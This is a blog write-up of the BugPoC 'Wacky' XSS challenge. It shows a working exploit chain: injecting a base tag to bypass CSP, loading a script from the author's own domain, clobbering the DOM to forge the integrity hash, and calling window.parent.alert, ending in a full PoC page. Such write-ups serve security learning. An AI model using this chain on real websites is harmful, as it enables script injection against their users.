The Startup
Published in

The Startup

BugPoC XSS Challenge- Wacky

Introduction

In this writeup, I am going to explain my approach towards solving the Wacky XSS Challenge. The challenge is primarily about bypassing Content Security Policy (CSP) and DOM Clobbering due to insecure coding practice.

Challenge Rules

  1. You must alert(origin) showing https://wacky.buggywebsite.com
  2. You must bypass CSP
  3. It must be reproducible using the latest version of Chrome
  4. You must provide a working proof-of-concept on bugpoc.com

Here’s how the challenge page looks like:

Upon clicking Make Whacky! button, I noticed a GET request being made to /frame.html page along with a query parameter called param

Noticing the reflection of text on the page, I tried supplying the h1 tag to see how it is getting rendered in the response.

The h1 tag was not rendering as an HTML element, although it was getting included in the response without any modification or encoding and that’s because I was not following the proper HTML semantics.

Upon including the closed title tag before h1, I could see that the h1 tag is rendered as an HTML element. However, it was still not displaying on the page due to it being included inside the head tag and not body.

Since one can define the scripts and other meta-information inside the head tag, let’s try to inject some JavaScript code into the DOM.

</title><script>alert()</script>

The browser refused to execute the inline JavaScript code as it violates the Content Security Policy implemented by the application. The policy was implemented via the following response header:

Content-Security-Policy: script-src 'nonce-r@nd0m' 'strict-dynamic'; frame-src 'self'; object-src 'none';

Let’s try to examine it with the help of Google’s CSP evaluator.

The application was generating a random nonce for each subsequent request. Therefore, it was not possible to execute JavaScript via script tags. However, it was possible to include base tags and load relatively imported scripts through a third-party domain.

Upon looking into the page source, I noticed a JS file called frame-analytics.js being imported relatively but that block of code was not getting executed because window.name is not equals to iframe.

Is there a way to control window.name property?

Yes, you can create an HTML page with an anchor tag and set its target attribute to iframe or else you can add a base tag and set its target attribute value as iframe, it will automatically set the defaulttarget attribute value for all anchor tags on the page.

Now that we are able to control the code flow, let’s try to load frame-analytics.js file from an arbitrary domain (for example:hackerone.com) by including a base tag with href value as //hackerone.com/

As you could notice, the application is trying to load a JavaScript file from hackerone.com

The next task was to host a file called frame-analytics.js on the same path /files/analytics/js/ using a website that we can control.

Let’s try to exploit it using //gauravmishra.co.in/

It again failed to execute because the browser couldn’t find a valid digest in the integrity attribute for resource https://gauravmishra.co.in/files/analytics/js/frame-analytics.js with computed SHA-256 3ZbQn3cmhPcHyOq0jZelWqoZGQdBdhSIoBWzDdFJFt4=

The integrity hash value was hardcoded in the JavaScript code. However, due to insecure coding practice, it was possible to control fileIntegrity object and its attributes (including value).

Taking help from the Gareth Heyes research article on DOM Clobbering, I was able to control thefileIntegrity or integrity attribute value. Here is the technique I referred to:

Injected the following HTML code to control fileIntegrity.value

<form><output hidden id=fileIntegrity>3ZbQn3cmhPcHyOq0jZelWqoZGQdBdhSIoBWzDdFJFt4=</output>

Decoded URI:

https://wacky.buggywebsite.com/frame.html?param=Hello, World!</title><base href="//gauravmishra.co.in/"><form><output hidden id=fileIntegrity>3ZbQn3cmhPcHyOq0jZelWqoZGQdBdhSIoBWzDdFJFt4=</output>

Let’s try to execute it now:

Still no alert pop-up :-(

The analytics iframe was sandboxed and it didn’t include allow-modals in the sandbox attribute value. Therefore, the browser stopped the execution of alert function.

Is there a way to control sandbox attribute (in this case)?

No.

Though it was not possible to execute the alert function in the iframe context but it was possible to do so in the parent window’s context using window.parent.alert method.

Let’s update the frame-analytics.js code and execute!

And still no JavaScript execution. Why?

The integrity hash value has changed, we need to update it again.

And there you go !!

Here is the final exploit code:

<!DOCTYPE html>
<html>
<head>
<title>Wacky Challenge | PoC</title>
</head>
<body>
<h2>Wacky Challenge | PoC</h2>
<base target="iframe">
Click
<a href="https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!%3c/title%3e%3cbase%20href%3d%22//gauravmishra.co.in/%22%3e%3cform%3e%3coutput%20hidden%20id%3dfileIntegrity%3eOySJfBgG0Rq4nF06fzkdI7dOrt%2fNjbyrIS0EiEnSV7U%3d%3c/output%3e">here</a> to solve the challenge :-)<br><br>Happy Hacking!!!<br>~ Gaurav
</body>
</html>

I have published a PoC on BugPoC Frontend Wizard. Here is the PoC link and password:

https://bugpoc.com/poc#bp-7903j8v0
Password: LasTINGaNt01

References:

For any feedback or CTF invitation, please reach out to me on Twitter.

Thanks for reading!

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store